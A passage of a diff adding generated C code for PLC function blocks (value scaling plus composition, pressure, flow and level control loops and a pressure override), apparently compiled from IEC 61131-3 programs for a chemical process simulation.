__GET_VAR(data__->REAL_MIN,)) / UINT_TO_REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)(__GET_VAR(data__->RAW_MAX,) - __GET_VAR(data__->RAW_MIN,))))); + __SET_VAR(data__->,OFFSET,,(__GET_VAR(data__->REAL_MIN,) - (UINT_TO_REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)__GET_VAR(data__->RAW_MIN,)) * __GET_VAR(data__->RATE,)))); + __SET_VAR(data__->,SCALED_REAL,,((UINT_TO_REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)__GET_VAR(data__->RAW_INPUT_VALUE,)) * __GET_VAR(data__->RATE,)) + __GET_VAR(data__->OFFSET,))); + + goto __end; + +__end: + return; +} // SCALE_TO_REAL_body__() + + + + + +void SCALE_TO_UINT_init__(SCALE_TO_UINT *data__, BOOL retain) { + __INIT_VAR(data__->EN,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->ENO,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->REAL_IN,0,retain) + __INIT_VAR(data__->UINT_OUT,0,retain) + __INIT_VAR(data__->DIV1_OUT,0,retain) + __INIT_VAR(data__->MUL4_OUT,0,retain) + __INIT_VAR(data__->REAL_TO_UINT6_OUT,0,retain) +} + +// Code part +void SCALE_TO_UINT_body__(SCALE_TO_UINT *data__) { + // Control execution + if (!__GET_VAR(data__->EN)) { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(FALSE)); + return; + } + else { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(TRUE)); + } + // Initialise TEMP variables + + __SET_VAR(data__->,DIV1_OUT,,DIV__REAL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (REAL)__GET_VAR(data__->REAL_IN,), + (REAL)100.0)); + __SET_VAR(data__->,MUL4_OUT,,MUL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)2, + (REAL)__GET_VAR(data__->DIV1_OUT,), + (REAL)65535.0)); + __SET_VAR(data__->,REAL_TO_UINT6_OUT,,REAL_TO_UINT( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (REAL)__GET_VAR(data__->MUL4_OUT,))); + __SET_VAR(data__->,UINT_OUT,,__GET_VAR(data__->REAL_TO_UINT6_OUT,)); + + goto __end; + +__end: + return; +} // SCALE_TO_UINT_body__() + + + + + +void COMPOSITION_CONTROL_init__(COMPOSITION_CONTROL *data__, BOOL retain) { + __INIT_VAR(data__->EN,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->ENO,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->A_IN_PURGE_REAL,47.00,retain) + __INIT_VAR(data__->A_IN_PURGE,32000,retain) + __INIT_VAR(data__->A_SETPOINT_REAL,47.00,retain) + __INIT_VAR(data__->A_SETPOINT,32000,retain) + __INIT_VAR(data__->CURR_POS,16000,retain) + __INIT_VAR(data__->VALVE_POS_REAL,25.0,retain) + __INIT_VAR(data__->POS_UPDATE_REAL,0.0,retain) + __INIT_VAR(data__->VALVE_POS_NOMINAL,25.0,retain) + __INIT_VAR(data__->NEW_POS,16000,retain) + __INIT_VAR(data__->COMPOSITION_K,1.0,retain) + __INIT_VAR(data__->COMPOSITION_TI,99.0,retain) + __INIT_VAR(data__->CYCLE_TIME,__time_to_timespec(1, 50, 0, 0, 0, 0),retain) + SCALE_TO_REAL_init__(&data__->SCALE_TO_REAL3,retain); + SCALE_TO_REAL_init__(&data__->SCALE_TO_REAL2,retain); + SCALE_TO_UINT_init__(&data__->SCALE_TO_UINT0,retain); + __INIT_VAR(data__->COMP_MAX,100.0,retain) + __INIT_VAR(data__->COMP_MIN,0.0,retain) + __INIT_VAR(data__->POS_MAX,100.0,retain) + __INIT_VAR(data__->POS_MIN,0.0,retain) + SCALE_TO_REAL_init__(&data__->SCALE_TO_REAL0,retain); + __INIT_VAR(data__->SUB45_OUT,0,retain) + __INIT_VAR(data__->MUL46_OUT,0,retain) + __INIT_VAR(data__->ADD42_OUT,0,retain) + __INIT_VAR(data__->LIMIT44_OUT,0,retain) +} + +// Code part +void COMPOSITION_CONTROL_body__(COMPOSITION_CONTROL *data__) { + // Control execution + if (!__GET_VAR(data__->EN)) { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(FALSE)); + return; + } + else { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(TRUE)); + } + // Initialise TEMP variables + + __SET_VAR(data__->SCALE_TO_REAL3.,RAW_INPUT_VALUE,,__GET_VAR(data__->A_IN_PURGE,)); + __SET_VAR(data__->SCALE_TO_REAL3.,REAL_MAX,,__GET_VAR(data__->COMP_MAX,)); + __SET_VAR(data__->SCALE_TO_REAL3.,REAL_MIN,,__GET_VAR(data__->COMP_MIN,)); + SCALE_TO_REAL_body__(&data__->SCALE_TO_REAL3); + __SET_VAR(data__->,A_IN_PURGE_REAL,,__GET_VAR(data__->SCALE_TO_REAL3.SCALED_REAL,)); + __SET_VAR(data__->SCALE_TO_REAL2.,RAW_INPUT_VALUE,,__GET_VAR(data__->A_SETPOINT,)); + __SET_VAR(data__->SCALE_TO_REAL2.,REAL_MAX,,__GET_VAR(data__->COMP_MAX,)); + __SET_VAR(data__->SCALE_TO_REAL2.,REAL_MIN,,__GET_VAR(data__->COMP_MIN,)); + SCALE_TO_REAL_body__(&data__->SCALE_TO_REAL2); + __SET_VAR(data__->,A_SETPOINT_REAL,,__GET_VAR(data__->SCALE_TO_REAL2.SCALED_REAL,)); + __SET_VAR(data__->,SUB45_OUT,,SUB__REAL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (REAL)__GET_VAR(data__->A_SETPOINT_REAL,), + (REAL)__GET_VAR(data__->A_IN_PURGE_REAL,))); + __SET_VAR(data__->,MUL46_OUT,,MUL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)2, + (REAL)__GET_VAR(data__->SUB45_OUT,), + (REAL)__GET_VAR(data__->COMPOSITION_K,))); + __SET_VAR(data__->,POS_UPDATE_REAL,,__GET_VAR(data__->MUL46_OUT,)); + __SET_VAR(data__->SCALE_TO_REAL0.,RAW_INPUT_VALUE,,__GET_VAR(data__->CURR_POS,)); + __SET_VAR(data__->SCALE_TO_REAL0.,REAL_MAX,,__GET_VAR(data__->POS_MAX,)); + __SET_VAR(data__->SCALE_TO_REAL0.,REAL_MIN,,__GET_VAR(data__->POS_MIN,)); + SCALE_TO_REAL_body__(&data__->SCALE_TO_REAL0); + __SET_VAR(data__->,VALVE_POS_REAL,,__GET_VAR(data__->SCALE_TO_REAL0.SCALED_REAL,)); + __SET_VAR(data__->,ADD42_OUT,,ADD__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)2, + (REAL)__GET_VAR(data__->VALVE_POS_REAL,), + (REAL)__GET_VAR(data__->POS_UPDATE_REAL,))); + __SET_VAR(data__->,LIMIT44_OUT,,LIMIT__REAL__REAL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (REAL)__GET_VAR(data__->POS_MIN,), + (REAL)__GET_VAR(data__->ADD42_OUT,), + (REAL)__GET_VAR(data__->POS_MAX,))); + __SET_VAR(data__->SCALE_TO_UINT0.,REAL_IN,,__GET_VAR(data__->LIMIT44_OUT,)); + SCALE_TO_UINT_body__(&data__->SCALE_TO_UINT0); + __SET_VAR(data__->,NEW_POS,,__GET_VAR(data__->SCALE_TO_UINT0.UINT_OUT,)); + + goto __end; + +__end: + return; +} // COMPOSITION_CONTROL_body__() + + + + + +void INITIALIZE_SP_init__(INITIALIZE_SP *data__, BOOL retain) { + __INIT_VAR(data__->EN,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->ENO,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->FLOW_SP_C,13107,retain) + __INIT_VAR(data__->A_SP_C,30801,retain) + __INIT_VAR(data__->PRESS_SP_C,55295,retain) + __INIT_VAR(data__->OVER_SP_C,31675,retain) + __INIT_VAR(data__->LEVEL_SP_C,28835,retain) + __INIT_VAR(data__->FLOW_SP,0,retain) + __INIT_VAR(data__->A_SP,0,retain) + __INIT_VAR(data__->PRESS_SP,0,retain) + __INIT_VAR(data__->OVER_SP,0,retain) + __INIT_VAR(data__->LEVEL_SP,0,retain) + __INIT_VAR(data__->MOVE3_OUT,0,retain) + __INIT_VAR(data__->MOVE7_OUT,0,retain) + __INIT_VAR(data__->MOVE11_OUT,0,retain) + __INIT_VAR(data__->MOVE15_OUT,0,retain) + __INIT_VAR(data__->MOVE19_OUT,0,retain) +} + +// Code part +void INITIALIZE_SP_body__(INITIALIZE_SP *data__) { + // Control execution + if (!__GET_VAR(data__->EN)) { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(FALSE)); + return; + } + else { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(TRUE)); + } + // Initialise TEMP variables + + __SET_VAR(data__->,MOVE3_OUT,,MOVE__UINT__UINT( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)__GET_VAR(data__->A_SP_C,))); + __SET_VAR(data__->,A_SP,,__GET_VAR(data__->MOVE3_OUT,)); + __SET_VAR(data__->,MOVE7_OUT,,MOVE__UINT__UINT( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)__GET_VAR(data__->FLOW_SP_C,))); + __SET_VAR(data__->,FLOW_SP,,__GET_VAR(data__->MOVE7_OUT,)); + __SET_VAR(data__->,MOVE11_OUT,,MOVE__UINT__UINT( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)__GET_VAR(data__->OVER_SP_C,))); + __SET_VAR(data__->,OVER_SP,,__GET_VAR(data__->MOVE11_OUT,)); + __SET_VAR(data__->,MOVE15_OUT,,MOVE__UINT__UINT( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)__GET_VAR(data__->LEVEL_SP_C,))); + __SET_VAR(data__->,LEVEL_SP,,__GET_VAR(data__->MOVE15_OUT,)); + __SET_VAR(data__->,MOVE19_OUT,,MOVE__UINT__UINT( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)__GET_VAR(data__->PRESS_SP_C,))); + __SET_VAR(data__->,PRESS_SP,,__GET_VAR(data__->MOVE19_OUT,)); + + goto __end; + +__end: + return; +} // INITIALIZE_SP_body__() + + + + + +void PRESSURE_CONTROL_init__(PRESSURE_CONTROL *data__, BOOL retain) { + __INIT_VAR(data__->EN,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->ENO,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->PRESSURE_REAL,2700.0,retain) + __INIT_VAR(data__->PRESSURE,58981,retain) + __INIT_VAR(data__->PRESSURE_SP_REAL,2700.0,retain) + __INIT_VAR(data__->PRESSURE_SP,58981,retain) + __INIT_VAR(data__->CURR_POS,30000,retain) + __INIT_VAR(data__->VALVE_POS_REAL,39.25,retain) + __INIT_VAR(data__->POS_UPDATE_REAL,0.0,retain) + __INIT_VAR(data__->VALVE_POS_NOMINAL,39.25,retain) + __INIT_VAR(data__->VALVE_POS,25886,retain) + __INIT_VAR(data__->PRESSURE_K,20.0,retain) + __INIT_VAR(data__->PRESSURE_TI,999.0,retain) + __INIT_VAR(data__->CYCLE_TIME,__time_to_timespec(1, 50, 0, 0, 0, 0),retain) + SCALE_TO_REAL_init__(&data__->SCALE_TO_REAL5,retain); + SCALE_TO_REAL_init__(&data__->SCALE_TO_REAL4,retain); + SCALE_TO_UINT_init__(&data__->SCALE_TO_UINT0,retain); + __INIT_VAR(data__->PRESSURE_MAX,3200.00,retain) + __INIT_VAR(data__->PRESSURE_MIN,0.0,retain) + __INIT_VAR(data__->POS_MIN,0.0,retain) + __INIT_VAR(data__->POS_MAX,100.0,retain) + SCALE_TO_REAL_init__(&data__->SCALE_TO_REAL0,retain); + __INIT_VAR(data__->SUB57_OUT,0,retain) + __INIT_VAR(data__->MUL60_OUT,0,retain) + __INIT_VAR(data__->SUB53_OUT,0,retain) + __INIT_VAR(data__->LIMIT55_OUT,0,retain) +} + +// Code part +void PRESSURE_CONTROL_body__(PRESSURE_CONTROL *data__) { + // Control execution + if (!__GET_VAR(data__->EN)) { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(FALSE)); + return; + } + else { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(TRUE)); + } + // Initialise TEMP variables + + __SET_VAR(data__->SCALE_TO_REAL5.,RAW_INPUT_VALUE,,__GET_VAR(data__->PRESSURE,)); + __SET_VAR(data__->SCALE_TO_REAL5.,REAL_MAX,,__GET_VAR(data__->PRESSURE_MAX,)); + __SET_VAR(data__->SCALE_TO_REAL5.,REAL_MIN,,__GET_VAR(data__->PRESSURE_MIN,)); + SCALE_TO_REAL_body__(&data__->SCALE_TO_REAL5); + __SET_VAR(data__->,PRESSURE_REAL,,__GET_VAR(data__->SCALE_TO_REAL5.SCALED_REAL,)); + __SET_VAR(data__->SCALE_TO_REAL4.,RAW_INPUT_VALUE,,__GET_VAR(data__->PRESSURE_SP,)); + __SET_VAR(data__->SCALE_TO_REAL4.,REAL_MAX,,__GET_VAR(data__->PRESSURE_MAX,)); + __SET_VAR(data__->SCALE_TO_REAL4.,REAL_MIN,,__GET_VAR(data__->PRESSURE_MIN,)); + SCALE_TO_REAL_body__(&data__->SCALE_TO_REAL4); + __SET_VAR(data__->,PRESSURE_SP_REAL,,__GET_VAR(data__->SCALE_TO_REAL4.SCALED_REAL,)); + __SET_VAR(data__->,SUB57_OUT,,SUB__REAL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (REAL)__GET_VAR(data__->PRESSURE_SP_REAL,), + (REAL)__GET_VAR(data__->PRESSURE_REAL,))); + __SET_VAR(data__->,MUL60_OUT,,MUL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)2, + (REAL)__GET_VAR(data__->SUB57_OUT,), + (REAL)__GET_VAR(data__->PRESSURE_K,))); + __SET_VAR(data__->,POS_UPDATE_REAL,,__GET_VAR(data__->MUL60_OUT,)); + __SET_VAR(data__->SCALE_TO_REAL0.,RAW_INPUT_VALUE,,__GET_VAR(data__->CURR_POS,)); + __SET_VAR(data__->SCALE_TO_REAL0.,REAL_MAX,,__GET_VAR(data__->POS_MAX,)); + __SET_VAR(data__->SCALE_TO_REAL0.,REAL_MIN,,__GET_VAR(data__->POS_MIN,)); + SCALE_TO_REAL_body__(&data__->SCALE_TO_REAL0); + __SET_VAR(data__->,VALVE_POS_REAL,,__GET_VAR(data__->SCALE_TO_REAL0.SCALED_REAL,)); + __SET_VAR(data__->,SUB53_OUT,,SUB__REAL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (REAL)__GET_VAR(data__->VALVE_POS_REAL,), + (REAL)__GET_VAR(data__->POS_UPDATE_REAL,))); + __SET_VAR(data__->,LIMIT55_OUT,,LIMIT__REAL__REAL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (REAL)__GET_VAR(data__->POS_MIN,), + (REAL)__GET_VAR(data__->SUB53_OUT,), + (REAL)__GET_VAR(data__->POS_MAX,))); + __SET_VAR(data__->SCALE_TO_UINT0.,REAL_IN,,__GET_VAR(data__->LIMIT55_OUT,)); + SCALE_TO_UINT_body__(&data__->SCALE_TO_UINT0); + __SET_VAR(data__->,VALVE_POS,,__GET_VAR(data__->SCALE_TO_UINT0.UINT_OUT,)); + + goto __end; + +__end: + return; +} // PRESSURE_CONTROL_body__() + + + + + +void FLOW_CONTROL_init__(FLOW_CONTROL *data__, BOOL retain) { + __INIT_VAR(data__->EN,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->ENO,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->FLOW_K,1.0,retain) + __INIT_VAR(data__->FLOW_TI,999.0,retain) + __INIT_VAR(data__->FLOW_TD,0.0,retain) + __INIT_VAR(data__->PRODUCT_FLOW,6554,retain) + __INIT_VAR(data__->PRODUCT_FLOW_REAL,100.0,retain) + __INIT_VAR(data__->CYCLE_TIME,__time_to_timespec(1, 50, 0, 0, 0, 0),retain) + __INIT_VAR(data__->POS_UPDATE_REAL,0.0,retain) + __INIT_VAR(data__->CURR_POS_REAL,60.9,retain) + __INIT_VAR(data__->NEW_POS,35000,retain) + __INIT_VAR(data__->CURR_POS,35000,retain) + __INIT_VAR(data__->FLOW_SET_REAL,100.0,retain) + __INIT_VAR(data__->FLOW_SET_IN,6554,retain) + SCALE_TO_REAL_init__(&data__->SCALE_TO_REAL0,retain); + SCALE_TO_REAL_init__(&data__->SCALE_TO_REAL1,retain); + __INIT_VAR(data__->FLOW_MAX,500.0,retain) + __INIT_VAR(data__->FLOW_MIN,0.0,retain) + __INIT_VAR(data__->POS_MIN,0.0,retain) + __INIT_VAR(data__->POS_MAX,100.0,retain) + SCALE_TO_REAL_init__(&data__->SCALE_TO_REAL2,retain); + SCALE_TO_UINT_init__(&data__->SCALE_TO_UINT0,retain); + __INIT_VAR(data__->SUB59_OUT,0,retain) + __INIT_VAR(data__->MUL60_OUT,0,retain) + __INIT_VAR(data__->ADD58_OUT,0,retain) + __INIT_VAR(data__->LIMIT40_OUT,0,retain) +} + +// Code part +void FLOW_CONTROL_body__(FLOW_CONTROL *data__) { + // Control execution + if (!__GET_VAR(data__->EN)) { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(FALSE)); + return; + } + else { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(TRUE)); + } + // Initialise TEMP variables + + __SET_VAR(data__->SCALE_TO_REAL0.,RAW_INPUT_VALUE,,__GET_VAR(data__->PRODUCT_FLOW,)); + __SET_VAR(data__->SCALE_TO_REAL0.,REAL_MAX,,__GET_VAR(data__->FLOW_MAX,)); + __SET_VAR(data__->SCALE_TO_REAL0.,REAL_MIN,,__GET_VAR(data__->FLOW_MIN,)); + SCALE_TO_REAL_body__(&data__->SCALE_TO_REAL0); + __SET_VAR(data__->,PRODUCT_FLOW_REAL,,__GET_VAR(data__->SCALE_TO_REAL0.SCALED_REAL,)); + __SET_VAR(data__->SCALE_TO_REAL1.,RAW_INPUT_VALUE,,__GET_VAR(data__->FLOW_SET_IN,)); + __SET_VAR(data__->SCALE_TO_REAL1.,REAL_MAX,,__GET_VAR(data__->FLOW_MAX,)); + __SET_VAR(data__->SCALE_TO_REAL1.,REAL_MIN,,__GET_VAR(data__->FLOW_MIN,)); + SCALE_TO_REAL_body__(&data__->SCALE_TO_REAL1); + __SET_VAR(data__->,FLOW_SET_REAL,,__GET_VAR(data__->SCALE_TO_REAL1.SCALED_REAL,)); + __SET_VAR(data__->,SUB59_OUT,,SUB__REAL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (REAL)__GET_VAR(data__->FLOW_SET_REAL,), + (REAL)__GET_VAR(data__->PRODUCT_FLOW_REAL,))); + __SET_VAR(data__->,MUL60_OUT,,MUL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)2, + (REAL)__GET_VAR(data__->SUB59_OUT,), + (REAL)__GET_VAR(data__->FLOW_K,))); + __SET_VAR(data__->,POS_UPDATE_REAL,,__GET_VAR(data__->MUL60_OUT,)); + __SET_VAR(data__->SCALE_TO_REAL2.,RAW_INPUT_VALUE,,__GET_VAR(data__->CURR_POS,)); + __SET_VAR(data__->SCALE_TO_REAL2.,REAL_MAX,,__GET_VAR(data__->POS_MAX,)); + __SET_VAR(data__->SCALE_TO_REAL2.,REAL_MIN,,__GET_VAR(data__->POS_MIN,)); + SCALE_TO_REAL_body__(&data__->SCALE_TO_REAL2); + __SET_VAR(data__->,CURR_POS_REAL,,__GET_VAR(data__->SCALE_TO_REAL2.SCALED_REAL,)); + __SET_VAR(data__->,ADD58_OUT,,ADD__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)2, + (REAL)__GET_VAR(data__->CURR_POS_REAL,), + (REAL)__GET_VAR(data__->POS_UPDATE_REAL,))); + __SET_VAR(data__->,LIMIT40_OUT,,LIMIT__REAL__REAL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (REAL)__GET_VAR(data__->POS_MIN,), + (REAL)__GET_VAR(data__->ADD58_OUT,), + (REAL)__GET_VAR(data__->POS_MAX,))); + __SET_VAR(data__->SCALE_TO_UINT0.,REAL_IN,,__GET_VAR(data__->LIMIT40_OUT,)); + SCALE_TO_UINT_body__(&data__->SCALE_TO_UINT0); + __SET_VAR(data__->,NEW_POS,,__GET_VAR(data__->SCALE_TO_UINT0.UINT_OUT,)); + + goto __end; + +__end: + return; +} // FLOW_CONTROL_body__() + + + + + +void LEVEL_CONTROL_init__(LEVEL_CONTROL *data__, BOOL retain) { + __INIT_VAR(data__->EN,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->ENO,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->LIQUID_LEVEL,0,retain) + __INIT_VAR(data__->LEVEL_SP,30000,retain) + __INIT_VAR(data__->CURR_POS,0,retain) + __INIT_VAR(data__->NEW_POS,0,retain) + __INIT_VAR(data__->CYCLE_TIME,__time_to_timespec(1, 50, 0, 0, 0, 0),retain) + __INIT_VAR(data__->LEVEL_K,10.0,retain) + __INIT_VAR(data__->LEVEL_TI,99999.0,retain) + SCALE_TO_REAL_init__(&data__->SCALE_TO_REAL0,retain); + __INIT_VAR(data__->LEVEL_MAX,100.0,retain) + __INIT_VAR(data__->LEVEL_MIN,0.0,retain) + __INIT_VAR(data__->POS_MAX,100.0,retain) + __INIT_VAR(data__->POS_MIN,0.0,retain) + __INIT_VAR(data__->LEVEL_REAL,44.18,retain) + __INIT_VAR(data__->POS_REAL,47.0,retain) + __INIT_VAR(data__->POS_UPDATE_REAL,0.0,retain) + __INIT_VAR(data__->SP_REAL,44.18,retain) + SCALE_TO_REAL_init__(&data__->SCALE_TO_REAL1,retain); + SCALE_TO_REAL_init__(&data__->SCALE_TO_REAL2,retain); + SCALE_TO_UINT_init__(&data__->SCALE_TO_UINT0,retain); + __INIT_VAR(data__->SUB32_OUT,0,retain) + __INIT_VAR(data__->MUL33_OUT,0,retain) + __INIT_VAR(data__->SUB30_OUT,0,retain) + __INIT_VAR(data__->LIMIT25_OUT,0,retain) +} + +// Code part +void LEVEL_CONTROL_body__(LEVEL_CONTROL *data__) { + // Control execution + if (!__GET_VAR(data__->EN)) { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(FALSE)); + return; + } + else { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(TRUE)); + } + // Initialise TEMP variables + + __SET_VAR(data__->SCALE_TO_REAL0.,RAW_INPUT_VALUE,,__GET_VAR(data__->LIQUID_LEVEL,)); + __SET_VAR(data__->SCALE_TO_REAL0.,REAL_MAX,,__GET_VAR(data__->LEVEL_MAX,)); + __SET_VAR(data__->SCALE_TO_REAL0.,REAL_MIN,,__GET_VAR(data__->LEVEL_MIN,)); + SCALE_TO_REAL_body__(&data__->SCALE_TO_REAL0); + __SET_VAR(data__->,LEVEL_REAL,,__GET_VAR(data__->SCALE_TO_REAL0.SCALED_REAL,)); + __SET_VAR(data__->SCALE_TO_REAL1.,RAW_INPUT_VALUE,,__GET_VAR(data__->CURR_POS,)); + __SET_VAR(data__->SCALE_TO_REAL1.,REAL_MAX,,__GET_VAR(data__->POS_MAX,)); + __SET_VAR(data__->SCALE_TO_REAL1.,REAL_MIN,,__GET_VAR(data__->POS_MIN,)); + SCALE_TO_REAL_body__(&data__->SCALE_TO_REAL1); + __SET_VAR(data__->,POS_REAL,,__GET_VAR(data__->SCALE_TO_REAL1.SCALED_REAL,)); + __SET_VAR(data__->SCALE_TO_REAL2.,RAW_INPUT_VALUE,,__GET_VAR(data__->LEVEL_SP,)); + __SET_VAR(data__->SCALE_TO_REAL2.,REAL_MAX,,__GET_VAR(data__->LEVEL_MAX,)); + __SET_VAR(data__->SCALE_TO_REAL2.,REAL_MIN,,__GET_VAR(data__->LEVEL_MIN,)); + SCALE_TO_REAL_body__(&data__->SCALE_TO_REAL2); + __SET_VAR(data__->,SP_REAL,,__GET_VAR(data__->SCALE_TO_REAL2.SCALED_REAL,)); + __SET_VAR(data__->,SUB32_OUT,,SUB__REAL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (REAL)__GET_VAR(data__->SP_REAL,), + (REAL)__GET_VAR(data__->LEVEL_REAL,))); + __SET_VAR(data__->,MUL33_OUT,,MUL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)2, + (REAL)__GET_VAR(data__->SUB32_OUT,), + (REAL)__GET_VAR(data__->LEVEL_K,))); + __SET_VAR(data__->,POS_UPDATE_REAL,,__GET_VAR(data__->MUL33_OUT,)); + __SET_VAR(data__->,SUB30_OUT,,SUB__REAL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (REAL)__GET_VAR(data__->POS_REAL,), + (REAL)__GET_VAR(data__->POS_UPDATE_REAL,))); + __SET_VAR(data__->,LIMIT25_OUT,,LIMIT__REAL__REAL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (REAL)__GET_VAR(data__->POS_MIN,), + (REAL)__GET_VAR(data__->SUB30_OUT,), + (REAL)__GET_VAR(data__->POS_MAX,))); + __SET_VAR(data__->SCALE_TO_UINT0.,REAL_IN,,__GET_VAR(data__->LIMIT25_OUT,)); + SCALE_TO_UINT_body__(&data__->SCALE_TO_UINT0); + __SET_VAR(data__->,NEW_POS,,__GET_VAR(data__->SCALE_TO_UINT0.UINT_OUT,)); + + goto __end; + +__end: + return; +} // LEVEL_CONTROL_body__() + + + + + +void PRESSURE_OVERRIDE_init__(PRESSURE_OVERRIDE *data__, BOOL retain) { + __INIT_VAR(data__->EN,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->ENO,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->PRESSURE_REAL,2700.0,retain) + __INIT_VAR(data__->PRESSURE,58981,retain) + __INIT_VAR(data__->CURR_SP,58981,retain) + __INIT_VAR(data__->CURR_SP_REAL,2700.0,retain) + __INIT_VAR(data__->PRODUCT_SP_REAL,100.0,retain) + __INIT_VAR(data__->SP_UPDATE,0.0,retain) + __INIT_VAR(data__->PRODUCT_SP_NOMINL,100.0,retain) + __INIT_VAR(data__->PRODUCT_SP,13107,retain) + __INIT_VAR(data__->OVERRIDE_SP_REAL,2900.0,retain) + __INIT_VAR(data__->OVERRIDE_SP,63350,retain) + __INIT_VAR(data__->OVERRIDE_K,1.0,retain) + __INIT_VAR(data__->OVERRIDE_TI,99999.0,retain) + __INIT_VAR(data__->CYCLE_TIME,__time_to_timespec(1, 50, 0, 0, 0, 0),retain) + SCALE_TO_REAL_init__(&data__->SCALE_TO_REAL7,retain); + __INIT_VAR(data__->PRESSURE_MAX,3000.0,retain) + __INIT_VAR(data__->PRESSURE_MIN,0.0,retain) + __INIT_VAR(data__->FLOW_MAX,500.0,retain) + __INIT_VAR(data__->FLOW_MIN,0.0,retain) + SCALE_TO_REAL_init__(&data__->SCALE_TO_REAL0,retain); + __INIT_VAR(data__->SUB86_OUT,0,retain) + __INIT_VAR(data__->MUL87_OUT,0,retain) + __INIT_VAR(data__->MAX84_OUT,0,retain) + __INIT_VAR(data__->ADD85_OUT,0,retain) + __INIT_VAR(data__->LIMIT67_OUT,0,retain) + __INIT_VAR(data__->DIV73_OUT,0,retain) + __INIT_VAR(data__->MUL75_OUT,0,retain) + __INIT_VAR(data__->REAL_TO_UINT79_OUT,0,retain) +} + +// Code part +void PRESSURE_OVERRIDE_body__(PRESSURE_OVERRIDE *data__) { + // Control execution + if (!__GET_VAR(data__->EN)) { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(FALSE)); + return; + } + else { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(TRUE)); + } + // Initialise TEMP variables + + __SET_VAR(data__->SCALE_TO_REAL7.,RAW_INPUT_VALUE,,__GET_VAR(data__->PRESSURE,)); + __SET_VAR(data__->SCALE_TO_REAL7.,REAL_MAX,,__GET_VAR(data__->PRESSURE_MAX,)); + __SET_VAR(data__->SCALE_TO_REAL7.,REAL_MIN,,__GET_VAR(data__->PRESSURE_MIN,)); + SCALE_TO_REAL_body__(&data__->SCALE_TO_REAL7); + __SET_VAR(data__->,PRESSURE_REAL,,__GET_VAR(data__->SCALE_TO_REAL7.SCALED_REAL,)); + __SET_VAR(data__->,SUB86_OUT,,SUB__REAL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (REAL)__GET_VAR(data__->OVERRIDE_SP_REAL,), + (REAL)__GET_VAR(data__->PRESSURE_REAL,))); + __SET_VAR(data__->,MUL87_OUT,,MUL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)2, + (REAL)__GET_VAR(data__->SUB86_OUT,), + (REAL)__GET_VAR(data__->OVERRIDE_K,))); + __SET_VAR(data__->,MAX84_OUT,,MAX__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)2, + (REAL)__GET_VAR(data__->MUL87_OUT,), + (REAL)0.0)); + __SET_VAR(data__->,SP_UPDATE,,__GET_VAR(data__->MAX84_OUT,)); + __SET_VAR(data__->SCALE_TO_REAL0.,RAW_INPUT_VALUE,,__GET_VAR(data__->CURR_SP,)); + __SET_VAR(data__->SCALE_TO_REAL0.,REAL_MAX,,__GET_VAR(data__->FLOW_MAX,)); + 